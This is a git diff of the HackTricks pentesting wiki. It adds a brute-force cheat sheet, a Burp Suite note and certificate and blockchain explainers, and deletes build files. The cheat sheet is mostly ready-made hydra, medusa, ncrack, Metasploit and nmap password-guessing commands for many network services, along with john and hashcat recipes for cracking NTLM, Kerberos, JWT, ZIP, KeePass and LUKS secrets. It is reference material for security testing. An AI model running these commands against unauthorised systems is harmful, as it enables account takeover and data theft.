+* `signature` – the identifier of the sender. This is generated when the sender's private key signs the transaction and confirms the sender has authorised this transaction
+* `value` – amount of ETH to transfer from sender to recipient \(in WEI, a denomination of ETH\)
+* `data` – optional field to include arbitrary data
+* `gasLimit` – the maximum amount of gas units that can be consumed by the transaction. Units of gas represent computational steps
+* `maxPriorityFeePerGas` - the maximum amount of gas to be included as a tip to the miner
+* `maxFeePerGas` - the maximum amount of gas willing to be paid for the transaction \(inclusive of `baseFeePerGas` and `maxPriorityFeePerGas`\)
+
+Note that there isn't any field for the origin address, this is because this can be extrapolated from the signature.
+
+## References
+
+* [https://en.wikipedia.org/wiki/Proof\_of\_stake](https://en.wikipedia.org/wiki/Proof_of_stake)
+* [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/)
+* [https://bitcoin.stackexchange.com/questions/3718/what-are-multi-signature-transactions](https://bitcoin.stackexchange.com/questions/3718/what-are-multi-signature-transactions)
+* [https://ethereum.org/en/developers/docs/transactions/](https://ethereum.org/en/developers/docs/transactions/)
+* [https://ethereum.org/en/developers/docs/gas/](https://ethereum.org/en/developers/docs/gas/)
+* [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy#Forced_address_reuse)
+
+
+
diff --git a/book.toml b/book.toml
deleted file mode 100644
index 66df5354324..00000000000
--- a/book.toml
+++ /dev/null
@@ -1,39 +0,0 @@
-[book]
-authors = ["HackTricks Team"]
-language = "en"
-src = "src"
-title = "HackTricks"
-
-[build]
-create-missing = false
-extra-watch-dirs = ["translations"]
-
-[preprocessor.tabs]
-
-[preprocessor.hacktricks]
-command = "python3 ./hacktricks-preprocessor.py"
-env = "prod"
-
-[output.html]
-additional-css = ["theme/tabs.css", "theme/pagetoc.css", "theme/discount.css"]
-additional-js = [
- "theme/tabs.js",
- "theme/pagetoc.js",
- "theme/ht_searcher.js",
- "theme/sponsor.js",
- "theme/discount.js",
- "theme/motion.js",
- "theme/ai.js"
-]
-no-section-label = true
-preferred-dark-theme = "hacktricks-dark"
-default-theme = "hacktricks-light"
-hash-files = false
-
-[output.html.fold]
-enable = true # whether or not to enable section folding
-level = 0 # the depth to start folding
-
-
-[output.html.print]
-enable = false # whether or not to enable print
diff --git a/brute-force.md b/brute-force.md
new file mode 100644
index 00000000000..b9d1759f4be
--- /dev/null
+++ b/brute-force.md
@@ -0,0 +1,580 @@
+# Brute Force - CheatSheet
+
+{% hint style="danger" %}
+Do you use **Hacktricks every day**? Did you find the book **very** **useful**? Would you like to **receive extra help** with cybersecurity questions? Would you like to **find more and higher quality content on Hacktricks**?
+[**Support Hacktricks through github sponsors**](https://github.com/sponsors/carlospolop) **so we can dedicate more time to it and also get access to the Hacktricks private group where you will get the help you need and much more!**
+{% endhint %}
+
+If you want to know about my **latest modifications**/**additions** or you have **any suggestion for HackTricks** or **PEASS**, **join the** [**💬**](https://emojipedia.org/speech-balloon/)[**telegram group**](https://t.me/peass), or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+If you want to **share some tricks with the community** you can also submit **pull requests** to [**https://github.com/carlospolop/hacktricks**](https://github.com/carlospolop/hacktricks) that will be reflected in this book and don't forget to **give ⭐** on **github** to **motivate** **me** to continue developing this book.
+
+## Default Credentials
+
+**Search in google** for default credentials of the technology that is being used, or **try this links**:
+
+* [**https://github.com/ihebski/DefaultCreds-cheat-sheet**](https://github.com/ihebski/DefaultCreds-cheat-sheet)
+* [**http://www.phenoelit.org/dpl/dpl.html**](http://www.phenoelit.org/dpl/dpl.html)
+* [**http://www.vulnerabilityassessment.co.uk/passwordsC.htm**](http://www.vulnerabilityassessment.co.uk/passwordsC.htm)
+* [**https://192-168-1-1ip.mobi/default-router-passwords-list/**](https://192-168-1-1ip.mobi/default-router-passwords-list/)
+* [**https://datarecovery.com/rd/default-passwords/**](https://datarecovery.com/rd/default-passwords/)
+* [**https://bizuns.com/default-passwords-list**](https://bizuns.com/default-passwords-list)
+* [**https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/default-passwords.csv**](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/default-passwords.csv)
+* [**https://github.com/Dormidera/WordList-Compendium**](https://github.com/Dormidera/WordList-Compendium)
+* [**https://www.cirt.net/passwords**](https://www.cirt.net/passwords)
+* [**http://www.passwordsdatabase.com/**](http://www.passwordsdatabase.com/)
+
+## **Create your own Dictionaries**
+
+Find as much information about the target as you can and generate a custom dictionary. Tools that may help:
+
+### Crunch
+
+```bash
+crunch 4 6 0123456789ABCDEF -o crunch1.txt #From length 4 to 6 using that alphabet
+crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using charset mixalpha (inside file charset.lst)
+
+@ Lower case alpha characters
+, Upper case alpha characters
+% Numeric characters
+^ Special characters including spac
+crunch 6 8 -t ,@@^^%%
+```
+
+### Cewl
+
+```bash
+cewl example.com -m 5 -w words.txt
+```
+
+### [CUPP](https://github.com/Mebus/cupp)
+
+Generate passwords based on your knowledge of the victim \(names, dates...\)
+
+```text
+python3 cupp.py -h
+```
+
+### [pydictor](https://github.com/LandGrey/pydictor)
+
+### Wordlists
+
+* [**https://github.com/danielmiessler/SecLists**](https://github.com/danielmiessler/SecLists)
+* [**https://github.com/Dormidera/WordList-Compendium**](https://github.com/Dormidera/WordList-Compendium)
+* [**https://github.com/kaonashi-passwords/Kaonashi**](https://github.com/kaonashi-passwords/Kaonashi)
+* [**https://github.com/google/fuzzing/tree/master/dictionaries**](https://github.com/carlospolop/hacktricks/tree/95b16dc7eb952272459fc877e4c9d0777d746a16/google/fuzzing/tree/master/dictionaries/README.md)
+* [**https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm**](https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm)
+
+## Services
+
+Ordered alphabetically by service name.
+
+### AFP
+
+```bash
+nmap -p 548 --script afp-brute
+msf> use auxiliary/scanner/afp/afp_login
+msf> set BLANK_PASSWORDS true
+msf> set USER_AS_PASS true
+msf> set PASS_FILE
+msf> set USER_FILE
+msf> run
+```
+
+### AJP
+
+```bash
+nmap --script ajp-brute -p 8009
+```
+
+### Cassandra
+
+```bash
+nmap --script cassandra-brute -p 9160
+```
+
+### CouchDB
+
+```bash
+msf> use auxiliary/scanner/couchdb/couchdb_login
+hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get /
+```
+
+### Docker Registry
+
+```text
+hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/
+```
+
+### Elasticsearch
+
+```text
+hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get /
+```
+
+### FTP
+
+```bash
+hydra -l root -P passwords.txt [-t 32] ftp
+ncrack -p 21 --user root -P passwords.txt [-T 5]
+medusa -u root -P 500-worst-passwords.txt -h -M ftp
+```
+
+### HTTP Generic Brute
+
+#### [**WFuzz**](pentesting-web/web-tool-wfuzz.md)
+
+### HTTP Basic Auth
+
+```bash
+hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/
+# Use https-get mode for httpS
+medusa -h -u -P -M http -m DIR:/path/to/auth -T 10
+```
+
+### HTTP - Post Form
+
+```bash
+hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V
+# Use https-post-form mode for httpS
+```
+
+For http**s** you have to change from "http-post-form" to "**https-post-form"**
+
+### **HTTP - CMS --** \(W\)ordpress, \(J\)oomla or \(D\)rupal or \(M\)oodle
+
+```bash
+cmsmap -f W/J/D/M -u a -p a https://wordpress.com
+```
+
+### IMAP
+
+```bash
+hydra -l USERNAME -P /path/to/passwords.txt -f imap -V
+hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f imap -V
+nmap -sV --script imap-brute -p
+```
+
+### IRC
+
+```bash
+nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p
+```
+
+### ISCSI
+
+```bash
+nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260
+```
+
+### JWT
+
+```bash
+#hashcat
+hashcat -m 16500 -a 0 jwt.txt .\wordlists\rockyou.txt
+
+#https://github.com/Sjord/jwtcrack
+python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt
+
+#John
+john jwt.txt --wordlist=wordlists.txt --format=HMAC-SHA256
+
+#https://github.com/ticarpi/jwt_tool
+python3 jwt_tool.py -d wordlists.txt
+
+#https://github.com/brendan-rius/c-jwt-cracker
+./jwtcrack eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc 1234567890 8
+
+#https://github.com/mazen160/jwt-pwn
+python3 jwt-cracker.py -jwt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc -w wordlist.txt
+
+#https://github.com/lmammino/jwt-cracker
+jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ" "abcdefghijklmnopqrstuwxyz" 6
+```
+
+### LDAP
+
+```bash
+nmap --script ldap-brute -p 389
+```
+
+### Mongo
+
+```bash
+nmap -sV --script mongodb-brute -n -p 27017
+use auxiliary/scanner/mongodb/mongodb_login
+```
+
+### MySQL
+
+```bash
+hydra -L usernames.txt -P pass.txt mysql
+msf> use auxiliary/scanner/mysql/mysql_login; set VERBOSE false
+```
+
+### OracleSQL
+
+```bash
+patator oracle_login sid= host= user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017
+
+./odat.py passwordguesser -s $SERVER -d $SID
+./odat.py passwordguesser -s $MYSERVER -p $PORT --accounts-file accounts_multiple.txt
+
+#msf1
+msf> use admin/oracle/oracle_login
+msf> set RHOSTS
+msf> set RPORT 1521
+msf> set SID
+
+#msf2, this option uses nmap and it fails sometimes for some reason
+msf> use scanner/oracle/oracle_login
+msf> set RHOSTS
+msf> set RPORTS 1521
+msf> set SID
+
+#nmap fails sometimes for some reson executing this script
+nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=
+```
+
+In order to use **oracle\_login** with **patator** you need to **install**:
+
+```bash
+pip3 install cx_Oracle --upgrade
+```
+
+[Offline OracleSQL hash bruteforce](pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) \(**versions 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** and **11.2.0.3**\):
+
+```bash
+ nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30
+```
+
+### POP
+
+```bash
+hydra -l USERNAME -P /path/to/passwords.txt -f pop3 -V
+hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f pop3 -V
+```
+
+### PostgreSQL
+
+```bash
+hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt postgres
+medusa -h –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M postgres
+ncrack –v –U /root/Desktop/user.txt –P /root/Desktop/pass.txt :5432
+patator pgsql_login host= user=FILE0 0=/root/Desktop/user.txt password=FILE1 1=/root/Desktop/pass.txt
+use auxiliary/scanner/postgres/postgres_login
+nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432
+```
+
+### PPTP
+
+You can download the `.deb` package to install from [https://http.kali.org/pool/main/t/thc-pptp-bruter/](https://http.kali.org/pool/main/t/thc-pptp-bruter/)
+
+```bash
+sudo dpkg -i thc-pptp-bruter*.deb #Install the package
+cat rockyou.txt | thc-pptp-bruter –u
+```
+
+### RDP
+
+```bash
+ncrack -vv --user -P pwds.txt rdp://
+hydra -V -f -L -P rdp://
+```
+
+### Redis
+
+```bash
+msf> use auxiliary/scanner/redis/redis_login
+nmap --script redis-brute -p 6379
+hydra –P /path/pass.txt redis://: # 6379 is the default
+```
+
+### Rexec
+
+```bash
+hydra -l -P rexec:// -v -V
+```
+
+### Rlogin
+
+```bash
+hydra -l -P rlogin:// -v -V
+```
+
+### Rsh
+
+```bash
+hydra -L rsh:// -v -V
+```
+
+[http://pentestmonkey.net/tools/misc/rsh-grind](http://pentestmonkey.net/tools/misc/rsh-grind)
+
+### Rsync
+
+```bash
+nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873
+```
+
+### RTSP
+
+```bash
+hydra -l root -P passwords.txt rtsp
+```
+
+### SNMP
+
+```bash
+msf> use auxiliary/scanner/snmp/snmp_login
+nmap -sU --script snmp-brute [--script-args snmp-brute.communitiesdb= ]
+onesixtyone -c /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt
+hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com snmp
+```
+
+### SMB
+
+```bash
+nmap --script smb-brute -p 445
+hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1
+```
+
+### SMTP
+
+```bash
+hydra -l -P /path/to/passwords.txt smtp -V
+hydra -l -P /path/to/passwords.txt -s 587 -S -v -V #Port 587 for SMTP with SSL
+```
+
+### SOCKS
+
+```bash
+nmap -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080
+```
+
+### SQL Server
+
+```bash
+#Use the NetBIOS name of the machine as domain
+crackmapexec mssql -d -u usernames.txt -p passwords.txt
+hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt mssql
+medusa -h –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M mssql
+nmap -p 1433 --script ms-sql-brute --script-args mssql.domain=DOMAIN,userdb=customuser.txt,passdb=custompass.txt,ms-sql-brute.brute-windows-accounts #Use domain if needed. Be carefull with the number of password in the list, this could block accounts
+msf> use auxiliary/scanner/mssql/mssql_login #Be carefull, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT
+```
+
+### SSH
+
+```bash
+hydra -l root -P passwords.txt [-t 32] ssh
+ncrack -p 22 --user root -P passwords.txt [-T 5]
+medusa -u root -P 500-worst-passwords.txt -h -M ssh
+patator ssh_login host= port=22 user=root 0=/path/passwords.txt password=FILE0 -x ignore:mesg='Authentication failed'
+```
+
+### Telnet
+
+```bash
+hydra -l root -P passwords.txt [-t 32] telnet
+ncrack -p 23 --user root -P passwords.txt [-T 5]
+medusa -u root -P 500-worst-passwords.txt -h -M telnet
+```
+
+### VNC
+
+```bash
+hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt -s vnc
+medusa -h –u root -P /root/Desktop/pass.txt –M vnc
+ncrack -V --user root -P /root/Desktop/pass.txt :>POR>T
+patator vnc_login host= password=FILE0 0=/root/Desktop/pass.txt –t 1 –x retry:fgep!='Authentication failure' --max-retries 0 –x quit:code=0use auxiliary/scanner/vnc/vnc_login
+nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432
+```
+
+### Winrm
+
+```bash
+crackmapexec winrm -d -u usernames.txt -p passwords.txt
+```
+
+## Local
+
+### Online cracking databases
+
+* [~~http://hashtoolkit.com/reverse-hash?~~](http://hashtoolkit.com/reverse-hash?) \(MD5 & SHA1\)
+* [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com/) \(Hashes, WPA2 captures, and archives MSOffice, ZIP, PDF...\)
+* [https://crackstation.net/](https://crackstation.net/) \(Hashes\)
+* [https://md5decrypt.net/](https://md5decrypt.net/) \(MD5\)
+* [https://gpuhash.me/](https://gpuhash.me/) \(Hashes and file hashes\)
+* [https://hashes.org/search.php](https://hashes.org/search.php) \(Hashes\)
+* [https://www.cmd5.org/](https://www.cmd5.org/) \(Hashes\)
+* [https://hashkiller.co.uk/Cracker](https://hashkiller.co.uk/Cracker) \(MD5, NTLM, SHA1, MySQL5, SHA256, SHA512\)
+* [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) \(MD5\)
+* [http://reverse-hash-lookup.online-domain-tools.com/](http://reverse-hash-lookup.online-domain-tools.com/)
+
+Check this out before trying to bruteforce a Hash.
+
+### ZIP
+
+```bash
+fcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' chall.zip
+```
+
+```bash
+zip2john file.zip > zip.john
+john zip.john
+```
+
+```bash
+#$zip2$*0*3*0*a56cb83812be3981ce2a83c581e4bc4f*4d7b*24*9af41ff662c29dfff13229eefad9a9043df07f2550b9ad7dfc7601f1a9e789b5ca402468*694b6ebb6067308bedcd*$/zip2$
+hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt
+.\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack
+```
+
+### 7z
+
+```bash
+cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z
+```
+
+```bash
+#Download and install requirements for 7z2john
+wget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo/run/7z2john.pl
+apt-get install libcompress-raw-lzma-perl
+./7z2john.pl file.7z > 7zhash.john
+```
+
+### PDF
+
+```bash
+apt-get install pdfcrack
+pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt
+#pdf2john didnt worked well, john didnt know which hash type was
+# To permanently decrypt the pdf
+sudo apt-get install qpdf
+qpdf --password= --decrypt encrypted.pdf plaintext.pdf
+```
+
+### JWT
+
+```bash
+git clone https://github.com/Sjord/jwtcrack.git
+cd jwtcrack
+
+#Bruteforce using crackjwt.py
+python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt
+
+#Bruteforce using john
+python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc > jwt.john
+john jwt.john #It does not work with Kali-John
+```
+
+### NTLM cracking
+
+```bash
+Format:USUARIO:ID:HASH_LM:HASH_NT:::
+jhon --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes
+hashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.txt --potfile-path salida_NT.pot
+```
+
+### Keepass
+
+```bash
+sudo apt-get install -y kpcli #Install keepass tools like keepass2john
+keepass2john file.kdbx > hash #The keepass is only using password
+keepass2john -k file.kdbx > hash # The keepas is also using a file as a needed credential
+#The keepass can use password and/or a file as credentials, if it is using both you need to provide them to keepass2john
+john --wordlist=/usr/share/wordlists/rockyou.txt hash
+```
+
+### Keberoasting
+
+```bash
+john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
+hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
+./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi
+```
+
+### Lucks image
+
+#### Method 1
+
+Install: [https://github.com/glv2/bruteforce-luks](https://github.com/glv2/bruteforce-luks)
+
+```bash
+bruteforce-luks -f ./list.txt ./backup.img
+cryptsetup luksOpen backup.img mylucksopen
+ls /dev/mapper/ #You should find here the image mylucksopen
+mount /dev/mapper/mylucksopen /mnt
+```
+
+#### Method 2
+
+```bash
+cryptsetup luksDump backup.img #Check that the payload offset is set to 4096
+dd if=backup.img of=luckshash bs=512 count=4097 #Payload offset +1
+hashcat -m 14600 -a 0 luckshash wordlists/rockyou.txt
+cryptsetup luksOpen backup.img mylucksopen
+ls /dev/mapper/ #You should find here the image mylucksopen
+mount /dev/mapper/mylucksopen /mnt
+```
+
+### Mysql
+
+```bash
+#John hash format
+:$mysqlna$*
+dbuser:$mysqlna$112233445566778899aabbccddeeff1122334455*73def07da6fba5dcc1b19c918dbd998e0d1f3f9d
+```
+
+## Tools
+
+**Hash examples:** [https://openwall.info/wiki/john/sample-hashes](https://openwall.info/wiki/john/sample-hashes)
+
+### Hash-identifier
+
+```bash
+hash-identifier
+>
+```
+
+### John mutation
+
+Read _**/etc/john/john.conf**_ and configure it
+
+```bash
+john --wordlist=words.txt --rules --stdout > w_mutated.txt
+john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules
+```
+
+### Hashcat
+
+```bash
+hashcat --example-hashes | grep -B1 -A2 "NTLM"
+```
+
+Cracking Linux Hashes - /etc/shadow file
+
+```text
+ 500 | md5crypt $1$, MD5(Unix) | Operating-Systems
+3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems
+7400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems
+1800 | sha512crypt $6$, SHA512(Unix) | Operating-Systems
+```
+
+Cracking Windows Hashes
+
+```text
+3000 | LM | Operating-Systems
+1000 | NTLM | Operating-Systems
+```
+
+Cracking Common Application Hashes
+
+```text
+ 900 | MD4 | Raw Hash
+ 0 | MD5 | Raw Hash
+ 5100 | Half MD5 | Raw Hash
+ 100 | SHA1 | Raw Hash
+10800 | SHA-384 | Raw Hash
+ 1400 | SHA-256 | Raw Hash
+ 1700 | SHA-512 | Raw Hash
+```
+
diff --git a/burp-suite.md b/burp-suite.md
new file mode 100644
index 00000000000..465ae3dcab9
--- /dev/null
+++ b/burp-suite.md
@@ -0,0 +1,16 @@
+# Burp Suite
+
+## Basic Payloads
+
+* **Simple List:** Just a list containing an entry in each line
+* **Runtime File:** A list read in runtime \(not loaded in memory\). For supporting big lists.
+* **Case Modification:** Apply some changes to a list of strings\(No change, to lower, to UPPER, to Proper name - First capitalized and the rest to lower-, to Proper Name -First capitalized an the rest remains the same-.
+* **Numbers:** Generate numbers from X to Y using Z step or randomly.
+* **Brute Forcer:** Character set, min & max length.
+
+[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : Payload to execute commands and grab the output via DNS requests to burpcollab.
+
+{% embed url="https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e" %}
+
+[https://github.com/h3xstream/http-script-generator](https://github.com/h3xstream/http-script-generator)
+
diff --git a/certificates.md b/certificates.md
new file mode 100644
index 00000000000..82d8a25cab3
--- /dev/null
+++ b/certificates.md
@@ -0,0 +1,58 @@
+# Certificates
+
+## What is a Certificate
+
+In cryptography, a **public key certificate,** also known as a **digital certificate** or **identity certificate,** is an electronic document used to prove the ownership of a public key. The certificate includes information about the key, information about the identity of its owner \(called the subject\), and the digital signature of an entity that has verified the certificate's contents \(called the issuer\). If the signature is valid, and the software examining the certificate trusts the issuer, then it can use that key to communicate securely with the certificate's subject.
+
+In a typical [public-key infrastructure](https://en.wikipedia.org/wiki/Public-key_infrastructure) \(PKI\) scheme, the certificate issuer is a [certificate authority](https://en.wikipedia.org/wiki/Certificate_authority) \(CA\), usually a company that charges customers to issue certificates for them. By contrast, in a [web of trust](https://en.wikipedia.org/wiki/Web_of_trust) scheme, individuals sign each other's keys directly, in a format that performs a similar function to a public key certificate.
+
+The most common format for public key certificates is defined by [X.509](https://en.wikipedia.org/wiki/X.509). Because X.509 is very general, the format is further constrained by profiles defined for certain use cases, such as [Public Key Infrastructure \(X.509\)](https://en.wikipedia.org/wiki/PKIX) as defined in RFC 5280.
+
+## x509 Common Fields
+
+* **Version Number:** Version of x509 format.
+* **Serial Number**: Used to uniquely identify the certificate within a CA's systems. In particular this is used to track revocation information.
+* **Subject**: The entity a certificate belongs to: a machine, an individual, or an organization.
+ * **Common Name**: Domains affected by the certificate. Can be 1 or more and can contain wildcards.
+ * **Country \(C\)**: Country
+ * **Distinguished name \(DN\)**: The whole subject: `C=US, ST=California, L=San Francisco, O=Example, Inc., CN=shared.global.example.net`
+ * **Locality \(L\)**: Local place
+ * **Organization \(O\)**: Organization name
+ * **Organizational Unit \(OU\)**: Division of an organisation \(like "Human Resources"\).
+ * **State or Province \(ST, S or P\)**: List of state or province names
+* **Issuer**: The entity that verified the information and signed the certificate.
+ * **Common Name \(CN\)**: Name of the certificate authority
+ * **Country \(C\)**: Country of the certificate authority
+ * **Distinguished name \(DN\)**: Distinguished name of the certificate authority
+ * **Locality \(L\)**: Local place where the organisation can be found.
+ * **Organization \(O\)**: Organisation name
+ * **Organizational Unit \(OU\)**: Division of an organisation \(like "Human Resources"\).
+* **Not Before**: The earliest time and date on which the certificate is valid. Usually set to a few hours or days prior to the moment the certificate was issued, to avoid [clock skew](https://en.wikipedia.org/wiki/Clock_skew#On_a_network) problems.
+* **Not After**: The time and date past which the certificate is no longer valid.
+* **Public Key**: A public key belonging to the certificate subject. \(This is one of the main parts as this is what is signed by the CA\)
+ * **Public Key Algorithm**: Algorithm used to generate the public key. Like RSA.
+ * **Public Key Curve**: The curve used by the elliptic curve public key algorithm \(if apply\). Like nistp521.
+ * **Public Key Exponent**: Exponent used to derive the public key \(if apply\). Like 65537.
+ * **Public Key Size**: The size of the public key space in bits. Like 2048.
+ * **Signature Algorithm**: The algorithm used to sign the public key certificate.
+ * **Signature**: A signature of the certificate body by the issuer's private key.
+* **x509v3 extensions**
+ * **Key Usage**: The valid cryptographic uses of the certificate's public key. Common values include digital signature validation, key encipherment, and certificate signing.
+ * In a Web certificate this will appear as a _X509v3 extension_ and will have the value `Digital Signature`
+ * **Extended Key Usage**: The applications in which the certificate may be used. Common values include TLS server authentication, email protection, and code signing.
+ * In a Web certificate this will appear as a _X509v3 extension_ and will have the value `TLS Web Server Authentication`
+ * **Subject Alternative Name:** Allows users to specify additional host **names** for a single SSL **certificate**. The use of the SAN extension is standard practice for SSL certificates, and it's on its way to replacing the use of the common **name**.
+ * **Basic Constraint:** This extension describes whether the certificate is a CA certificate or an end entity certificate. A CA certificate is something that signs certificates of others and a end entity certificate is the certificate used in a web page for example \(the last par of the chain\).
+ * **Subject Key Identifier** \(SKI\): This extension declares a unique **identifier** for the public **key** in the certificate. It is required on all CA certificates. CAs propagate their own SKI to the Issuer **Key Identifier** \(AKI\) extension on issued certificates. It's the hash of the subject public key.
+ * **Authority Key Identifier**: It contains a key identifier which is derived from the public key in the issuer certificate. It's the hash of the issuer public key.
+ * **Authority Information Access** \(AIA\): This extension contains at most two types of information :
+ * Information about **how to get the issuer of this certificate** \(CA issuer access method\)
+ * Address of the **OCSP responder from where revocation of this certificate** can be checked \(OCSP access method\).
+ * **CRL Distribution Points**: This extension identifies the location of the CRL from which the revocation of this certificate can be checked. The application that processes the certificate can get the location of the CRL from this extension, download the CRL and then check the revocation of this certificate.
+
+### Difference between OSCP and CRL Distribution Points
+
+**OCSP** \(RFC 2560\) is a standard protocol that consists of an **OCSP client and an OCSP responder**. This protocol **determines revocation status of a given digital public-key certificate** **without** having to **download** the **entire CRL**.
+**CRL** is the **traditional method** of checking certificate validity. A **CRL provides a list of certificate serial numbers** that have been revoked or are no longer valid. CRLs let the verifier check the revocation status of the presented certificate while verifying it. CRLs are limited to 512 entries.
+From [here](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm#:~:text=OCSP%20%28RFC%202560%29%20is%20a,to%20download%20the%20entire%20CRL.&text=A%20CRL%20provides%20a%20list,or%20are%20no%20longer%20valid.).
+
diff --git a/clean_unused_images.sh b/clean_unused_images.sh
deleted file mode 100644
index 934b28b741a..00000000000
--- a/clean_unused_images.sh
+++ /dev/null
@@ -1,41 +0,0 @@
-#!/bin/bash
-
-# Define the image folder and the root of your project
-IMAGE_FOLDER="./src/images"
-PROJECT_ROOT="."
-
-# Move to the project root
-cd "$PROJECT_ROOT" || exit
-
-# Loop through each image file in the folder
-find "$IMAGE_FOLDER" -type f | while IFS= read -r image; do
- # Extract the filename without the path
- image_name=$(basename "$image")
-
- # If image file name contains "sponsor", skip it
- if [[ "$image_name" == *"sponsor"* ]]; then
- echo "Skipping sponsor image: $image_name"
- continue
- fi
-
- echo "Checking image: $image_name"
-
- # Search for the image name using rg and capture the result
- search_result=$(rg -F --files-with-matches "$image_name" \
- --no-ignore --hidden \
- --glob '!.git/*' \
- --glob '!$IMAGE_FOLDER/*' < /dev/null)
-
- echo "Search result: $search_result"
-
